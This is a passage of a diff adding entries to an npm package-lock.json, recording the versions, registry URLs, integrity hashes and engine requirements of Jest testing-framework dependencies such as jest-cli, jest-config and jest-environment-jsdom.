16224+ "license": "MIT",
16225+ "dependencies": {
16226+ "chalk": "^4.0.0",
16227+ "diff-sequences": "^27.5.1",
16228+ "jest-get-type": "^27.5.1",
16229+ "pretty-format": "^27.5.1"
16230+ },
16231+ "engines": {
16232+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16233+ }
16234+ },
16235+ "node_modules/jest-circus/node_modules/jest-matcher-utils": {
16236+ "version": "27.5.1",
16237+ "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
16238+ "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
16239+ "license": "MIT",
16240+ "dependencies": {
16241+ "chalk": "^4.0.0",
16242+ "jest-diff": "^27.5.1",
16243+ "jest-get-type": "^27.5.1",
16244+ "pretty-format": "^27.5.1"
16245+ },
16246+ "engines": {
16247+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16248+ }
16249+ },
16250+ "node_modules/jest-circus/node_modules/jest-message-util": {
16251+ "version": "27.5.1",
16252+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
16253+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
16254+ "license": "MIT",
16255+ "dependencies": {
16256+ "@babel/code-frame": "^7.12.13",
16257+ "@jest/types": "^27.5.1",
16258+ "@types/stack-utils": "^2.0.0",
16259+ "chalk": "^4.0.0",
16260+ "graceful-fs": "^4.2.9",
16261+ "micromatch": "^4.0.4",
16262+ "pretty-format": "^27.5.1",
16263+ "slash": "^3.0.0",
16264+ "stack-utils": "^2.0.3"
16265+ },
16266+ "engines": {
16267+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16268+ }
16269+ },
16270+ "node_modules/jest-circus/node_modules/jest-util": {
16271+ "version": "27.5.1",
16272+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
16273+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
16274+ "license": "MIT",
16275+ "dependencies": {
16276+ "@jest/types": "^27.5.1",
16277+ "@types/node": "*",
16278+ "chalk": "^4.0.0",
16279+ "ci-info": "^3.2.0",
16280+ "graceful-fs": "^4.2.9",
16281+ "picomatch": "^2.2.3"
16282+ },
16283+ "engines": {
16284+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16285+ }
16286+ },
16287+ "node_modules/jest-circus/node_modules/picomatch": {
16288+ "version": "2.3.1",
16289+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
16290+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
16291+ "license": "MIT",
16292+ "engines": {
16293+ "node": ">=8.6"
16294+ },
16295+ "funding": {
16296+ "url": "https://github.com/sponsors/jonschlinkert"
16297+ }
16298+ },
16299+ "node_modules/jest-cli": {
16300+ "version": "27.5.1",
16301+ "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz",
16302+ "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==",
16303+ "license": "MIT",
16304+ "dependencies": {
16305+ "@jest/core": "^27.5.1",
16306+ "@jest/test-result": "^27.5.1",
16307+ "@jest/types": "^27.5.1",
16308+ "chalk": "^4.0.0",
16309+ "exit": "^0.1.2",
16310+ "graceful-fs": "^4.2.9",
16311+ "import-local": "^3.0.2",
16312+ "jest-config": "^27.5.1",
16313+ "jest-util": "^27.5.1",
16314+ "jest-validate": "^27.5.1",
16315+ "prompts": "^2.0.1",
16316+ "yargs": "^16.2.0"
16317+ },
16318+ "bin": {
16319+ "jest": "bin/jest.js"
16320+ },
16321+ "engines": {
16322+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16323+ },
16324+ "peerDependencies": {
16325+ "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
16326+ },
16327+ "peerDependenciesMeta": {
16328+ "node-notifier": {
16329+ "optional": true
16330+ }
16331+ }
16332+ },
16333+ "node_modules/jest-cli/node_modules/@jest/types": {
16334+ "version": "27.5.1",
16335+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16336+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16337+ "license": "MIT",
16338+ "dependencies": {
16339+ "@types/istanbul-lib-coverage": "^2.0.0",
16340+ "@types/istanbul-reports": "^3.0.0",
16341+ "@types/node": "*",
16342+ "@types/yargs": "^16.0.0",
16343+ "chalk": "^4.0.0"
16344+ },
16345+ "engines": {
16346+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16347+ }
16348+ },
16349+ "node_modules/jest-cli/node_modules/@types/yargs": {
16350+ "version": "16.0.11",
16351+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16352+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16353+ "license": "MIT",
16354+ "dependencies": {
16355+ "@types/yargs-parser": "*"
16356+ }
16357+ },
16358+ "node_modules/jest-cli/node_modules/chalk": {
16359+ "version": "4.1.2",
16360+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16361+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16362+ "license": "MIT",
16363+ "dependencies": {
16364+ "ansi-styles": "^4.1.0",
16365+ "supports-color": "^7.1.0"
16366+ },
16367+ "engines": {
16368+ "node": ">=10"
16369+ },
16370+ "funding": {
16371+ "url": "https://github.com/chalk/chalk?sponsor=1"
16372+ }
16373+ },
16374+ "node_modules/jest-cli/node_modules/ci-info": {
16375+ "version": "3.9.0",
16376+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
16377+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
16378+ "funding": [
16379+ {
16380+ "type": "github",
16381+ "url": "https://github.com/sponsors/sibiraj-s"
16382+ }
16383+ ],
16384+ "license": "MIT",
16385+ "engines": {
16386+ "node": ">=8"
16387+ }
16388+ },
16389+ "node_modules/jest-cli/node_modules/cliui": {
16390+ "version": "7.0.4",
16391+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
16392+ "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
16393+ "license": "ISC",
16394+ "dependencies": {
16395+ "string-width": "^4.2.0",
16396+ "strip-ansi": "^6.0.0",
16397+ "wrap-ansi": "^7.0.0"
16398+ }
16399+ },
16400+ "node_modules/jest-cli/node_modules/jest-util": {
16401+ "version": "27.5.1",
16402+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
16403+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
16404+ "license": "MIT",
16405+ "dependencies": {
16406+ "@jest/types": "^27.5.1",
16407+ "@types/node": "*",
16408+ "chalk": "^4.0.0",
16409+ "ci-info": "^3.2.0",
16410+ "graceful-fs": "^4.2.9",
16411+ "picomatch": "^2.2.3"
16412+ },
16413+ "engines": {
16414+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16415+ }
16416+ },
16417+ "node_modules/jest-cli/node_modules/picomatch": {
16418+ "version": "2.3.1",
16419+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
16420+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
16421+ "license": "MIT",
16422+ "engines": {
16423+ "node": ">=8.6"
16424+ },
16425+ "funding": {
16426+ "url": "https://github.com/sponsors/jonschlinkert"
16427+ }
16428+ },
16429+ "node_modules/jest-cli/node_modules/yargs": {
16430+ "version": "16.2.0",
16431+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
16432+ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
16433+ "license": "MIT",
16434+ "dependencies": {
16435+ "cliui": "^7.0.2",
16436+ "escalade": "^3.1.1",
16437+ "get-caller-file": "^2.0.5",
16438+ "require-directory": "^2.1.1",
16439+ "string-width": "^4.2.0",
16440+ "y18n": "^5.0.5",
16441+ "yargs-parser": "^20.2.2"
16442+ },
16443+ "engines": {
16444+ "node": ">=10"
16445+ }
16446+ },
16447+ "node_modules/jest-cli/node_modules/yargs-parser": {
16448+ "version": "20.2.9",
16449+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
16450+ "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
16451+ "license": "ISC",
16452+ "engines": {
16453+ "node": ">=10"
16454+ }
16455+ },
16456+ "node_modules/jest-config": {
16457+ "version": "27.5.1",
16458+ "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz",
16459+ "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==",
16460+ "license": "MIT",
16461+ "dependencies": {
16462+ "@babel/core": "^7.8.0",
16463+ "@jest/test-sequencer": "^27.5.1",
16464+ "@jest/types": "^27.5.1",
16465+ "babel-jest": "^27.5.1",
16466+ "chalk": "^4.0.0",
16467+ "ci-info": "^3.2.0",
16468+ "deepmerge": "^4.2.2",
16469+ "glob": "^7.1.1",
16470+ "graceful-fs": "^4.2.9",
16471+ "jest-circus": "^27.5.1",
16472+ "jest-environment-jsdom": "^27.5.1",
16473+ "jest-environment-node": "^27.5.1",
16474+ "jest-get-type": "^27.5.1",
16475+ "jest-jasmine2": "^27.5.1",
16476+ "jest-regex-util": "^27.5.1",
16477+ "jest-resolve": "^27.5.1",
16478+ "jest-runner": "^27.5.1",
16479+ "jest-util": "^27.5.1",
16480+ "jest-validate": "^27.5.1",
16481+ "micromatch": "^4.0.4",
16482+ "parse-json": "^5.2.0",
16483+ "pretty-format": "^27.5.1",
16484+ "slash": "^3.0.0",
16485+ "strip-json-comments": "^3.1.1"
16486+ },
16487+ "engines": {
16488+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16489+ },
16490+ "peerDependencies": {
16491+ "ts-node": ">=9.0.0"
16492+ },
16493+ "peerDependenciesMeta": {
16494+ "ts-node": {
16495+ "optional": true
16496+ }
16497+ }
16498+ },
16499+ "node_modules/jest-config/node_modules/@jest/types": {
16500+ "version": "27.5.1",
16501+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16502+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16503+ "license": "MIT",
16504+ "dependencies": {
16505+ "@types/istanbul-lib-coverage": "^2.0.0",
16506+ "@types/istanbul-reports": "^3.0.0",
16507+ "@types/node": "*",
16508+ "@types/yargs": "^16.0.0",
16509+ "chalk": "^4.0.0"
16510+ },
16511+ "engines": {
16512+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16513+ }
16514+ },
16515+ "node_modules/jest-config/node_modules/@types/yargs": {
16516+ "version": "16.0.11",
16517+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16518+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16519+ "license": "MIT",
16520+ "dependencies": {
16521+ "@types/yargs-parser": "*"
16522+ }
16523+ },
16524+ "node_modules/jest-config/node_modules/chalk": {
16525+ "version": "4.1.2",
16526+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16527+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16528+ "license": "MIT",
16529+ "dependencies": {
16530+ "ansi-styles": "^4.1.0",
16531+ "supports-color": "^7.1.0"
16532+ },
16533+ "engines": {
16534+ "node": ">=10"
16535+ },
16536+ "funding": {
16537+ "url": "https://github.com/chalk/chalk?sponsor=1"
16538+ }
16539+ },
16540+ "node_modules/jest-config/node_modules/ci-info": {
16541+ "version": "3.9.0",
16542+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
16543+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
16544+ "funding": [
16545+ {
16546+ "type": "github",
16547+ "url": "https://github.com/sponsors/sibiraj-s"
16548+ }
16549+ ],
16550+ "license": "MIT",
16551+ "engines": {
16552+ "node": ">=8"
16553+ }
16554+ },
16555+ "node_modules/jest-config/node_modules/jest-regex-util": {
16556+ "version": "27.5.1",
16557+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
16558+ "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
16559+ "license": "MIT",
16560+ "engines": {
16561+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16562+ }
16563+ },
16564+ "node_modules/jest-config/node_modules/jest-util": {
16565+ "version": "27.5.1",
16566+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
16567+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
16568+ "license": "MIT",
16569+ "dependencies": {
16570+ "@jest/types": "^27.5.1",
16571+ "@types/node": "*",
16572+ "chalk": "^4.0.0",
16573+ "ci-info": "^3.2.0",
16574+ "graceful-fs": "^4.2.9",
16575+ "picomatch": "^2.2.3"
16576+ },
16577+ "engines": {
16578+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16579+ }
16580+ },
16581+ "node_modules/jest-config/node_modules/picomatch": {
16582+ "version": "2.3.1",
16583+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
16584+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
16585+ "license": "MIT",
16586+ "engines": {
16587+ "node": ">=8.6"
16588+ },
16589+ "funding": {
16590+ "url": "https://github.com/sponsors/jonschlinkert"
16591+ }
16592+ },
16593+ "node_modules/jest-diff": {
16594+ "version": "30.2.0",
16595+ "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.2.0.tgz",
16596+ "integrity": "sha512-dQHFo3Pt4/NLlG5z4PxZ/3yZTZ1C7s9hveiOj+GCN+uT109NC2QgsoVZsVOAvbJ3RgKkvyLGXZV9+piDpWbm6A==",
16597+ "license": "MIT",
16598+ "dependencies": {
16599+ "@jest/diff-sequences": "30.0.1",
16600+ "@jest/get-type": "30.1.0",
16601+ "chalk": "^4.1.2",
16602+ "pretty-format": "30.2.0"
16603+ },
16604+ "engines": {
16605+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
16606+ }
16607+ },
16608+ "node_modules/jest-diff/node_modules/chalk": {
16609+ "version": "4.1.2",
16610+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16611+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16612+ "license": "MIT",
16613+ "dependencies": {
16614+ "ansi-styles": "^4.1.0",
16615+ "supports-color": "^7.1.0"
16616+ },
16617+ "engines": {
16618+ "node": ">=10"
16619+ },
16620+ "funding": {
16621+ "url": "https://github.com/chalk/chalk?sponsor=1"
16622+ }
16623+ },
16624+ "node_modules/jest-diff/node_modules/pretty-format": {
16625+ "version": "30.2.0",
16626+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
16627+ "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
16628+ "license": "MIT",
16629+ "dependencies": {
16630+ "@jest/schemas": "30.0.5",
16631+ "ansi-styles": "^5.2.0",
16632+ "react-is": "^18.3.1"
16633+ },
16634+ "engines": {
16635+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
16636+ }
16637+ },
16638+ "node_modules/jest-diff/node_modules/pretty-format/node_modules/ansi-styles": {
16639+ "version": "5.2.0",
16640+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
16641+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
16642+ "license": "MIT",
16643+ "engines": {
16644+ "node": ">=10"
16645+ },
16646+ "funding": {
16647+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
16648+ }
16649+ },
16650+ "node_modules/jest-diff/node_modules/react-is": {
16651+ "version": "18.3.1",
16652+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
16653+ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
16654+ "license": "MIT"
16655+ },
16656+ "node_modules/jest-docblock": {
16657+ "version": "27.5.1",
16658+ "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz",
16659+ "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==",
16660+ "license": "MIT",
16661+ "dependencies": {
16662+ "detect-newline": "^3.0.0"
16663+ },
16664+ "engines": {
16665+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16666+ }
16667+ },
16668+ "node_modules/jest-each": {
16669+ "version": "27.5.1",
16670+ "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz",
16671+ "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==",
16672+ "license": "MIT",
16673+ "dependencies": {
16674+ "@jest/types": "^27.5.1",
16675+ "chalk": "^4.0.0",
16676+ "jest-get-type": "^27.5.1",
16677+ "jest-util": "^27.5.1",
16678+ "pretty-format": "^27.5.1"
16679+ },
16680+ "engines": {
16681+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16682+ }
16683+ },
16684+ "node_modules/jest-each/node_modules/@jest/types": {
16685+ "version": "27.5.1",
16686+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16687+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16688+ "license": "MIT",
16689+ "dependencies": {
16690+ "@types/istanbul-lib-coverage": "^2.0.0",
16691+ "@types/istanbul-reports": "^3.0.0",
16692+ "@types/node": "*",
16693+ "@types/yargs": "^16.0.0",
16694+ "chalk": "^4.0.0"
16695+ },
16696+ "engines": {
16697+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16698+ }
16699+ },
16700+ "node_modules/jest-each/node_modules/@types/yargs": {
16701+ "version": "16.0.11",
16702+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16703+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16704+ "license": "MIT",
16705+ "dependencies": {
16706+ "@types/yargs-parser": "*"
16707+ }
16708+ },
16709+ "node_modules/jest-each/node_modules/chalk": {
16710+ "version": "4.1.2",
16711+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16712+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16713+ "license": "MIT",
16714+ "dependencies": {
16715+ "ansi-styles": "^4.1.0",
16716+ "supports-color": "^7.1.0"
16717+ },
16718+ "engines": {
16719+ "node": ">=10"
16720+ },
16721+ "funding": {
16722+ "url": "https://github.com/chalk/chalk?sponsor=1"
16723+ }
16724+ },
16725+ "node_modules/jest-each/node_modules/ci-info": {
16726+ "version": "3.9.0",
16727+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
16728+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
16729+ "funding": [
16730+ {
16731+ "type": "github",
16732+ "url": "https://github.com/sponsors/sibiraj-s"
16733+ }
16734+ ],
16735+ "license": "MIT",
16736+ "engines": {
16737+ "node": ">=8"
16738+ }
16739+ },
16740+ "node_modules/jest-each/node_modules/jest-util": {
16741+ "version": "27.5.1",
16742+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
16743+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
16744+ "license": "MIT",
16745+ "dependencies": {
16746+ "@jest/types": "^27.5.1",
16747+ "@types/node": "*",
16748+ "chalk": "^4.0.0",
16749+ "ci-info": "^3.2.0",
16750+ "graceful-fs": "^4.2.9",
16751+ "picomatch": "^2.2.3"
16752+ },
16753+ "engines": {
16754+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16755+ }
16756+ },
16757+ "node_modules/jest-each/node_modules/picomatch": {
16758+ "version": "2.3.1",
16759+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
16760+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
16761+ "license": "MIT",
16762+ "engines": {
16763+ "node": ">=8.6"
16764+ },
16765+ "funding": {
16766+ "url": "https://github.com/sponsors/jonschlinkert"
16767+ }
16768+ },
16769+ "node_modules/jest-environment-jsdom": {
16770+ "version": "27.5.1",
16771+ "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz",
16772+ "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==",
16773+ "license": "MIT",
16774+ "dependencies": {
16775+ "@jest/environment": "^27.5.1",
16776+ "@jest/fake-timers": "^27.5.1",
16777+ "@jest/types": "^27.5.1",
16778+ "@types/node": "*",
16779+ "jest-mock": "^27.5.1",
16780+ "jest-util": "^27.5.1",
16781+ "jsdom": "^16.6.0"
16782+ },
16783+ "engines": {
16784+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16785+ }
16786+ },
16787+ "node_modules/jest-environment-jsdom/node_modules/@jest/types": {
16788+ "version": "27.5.1",
16789+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
16790+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
16791+ "license": "MIT",
16792+ "dependencies": {
16793+ "@types/istanbul-lib-coverage": "^2.0.0",
16794+ "@types/istanbul-reports": "^3.0.0",
16795+ "@types/node": "*",
16796+ "@types/yargs": "^16.0.0",
16797+ "chalk": "^4.0.0"
16798+ },
16799+ "engines": {
16800+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16801+ }
16802+ },
16803+ "node_modules/jest-environment-jsdom/node_modules/@types/yargs": {
16804+ "version": "16.0.11",
16805+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
16806+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
16807+ "license": "MIT",
16808+ "dependencies": {
16809+ "@types/yargs-parser": "*"
16810+ }
16811+ },
16812+ "node_modules/jest-environment-jsdom/node_modules/chalk": {
16813+ "version": "4.1.2",
16814+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
16815+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
16816+ "license": "MIT",
16817+ "dependencies": {
16818+ "ansi-styles": "^4.1.0",
16819+ "supports-color": "^7.1.0"
16820+ },
16821+ "engines": {
16822+ "node": ">=10"
16823+ },
16824+ "funding": {
16825+ "url": "https://github.com/chalk/chalk?sponsor=1"
16826+ }
16827+ },
16828+ "node_modules/jest-environment-jsdom/node_modules/ci-info": {
16829+ "version": "3.9.0",
16830+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
16831+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
16832+ "funding": [
16833+ {
16834+ "type": "github",
16835+ "url": "https://github.com/sponsors/sibiraj-s"
16836+ }
16837+ ],
16838+ "license": "MIT",
16839+ "engines": {
16840+ "node": ">=8"
16841+ }
16842+ },
16843+ "node_modules/jest-environment-jsdom/node_modules/jest-mock": {
16844+ "version": "27.5.1",
16845+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
16846+ "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
16847+ "license": "MIT",
16848+ "dependencies": {
16849+ "@jest/types": "^27.5.1",
16850+ "@types/node": "*"
16851+ },
16852+ "engines": {
16853+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16854+ }
16855+ },
16856+ "node_modules/jest-environment-jsdom/node_modules/jest-util": {
16857+ "version": "27.5.1",
16858+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
16859+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
16860+ "license": "MIT",
16861+ "dependencies": {
16862+ "@jest/types": "^27.5.1",
16863+ "@types/node": "*",
16864+ "chalk": "^4.0.0",
16865+ "ci-info": "^3.2.0",
16866+ "graceful-fs": "^4.2.9",
16867+ "picomatch": "^2.2.3"
16868+ },
16869+ "engines": {
16870+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
16871+ }
16872+ },
16873+ "node_modules/jest-environment-jsdom/node_modules/picomatch": {
16874+ "version": "2.3.1",
16875+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
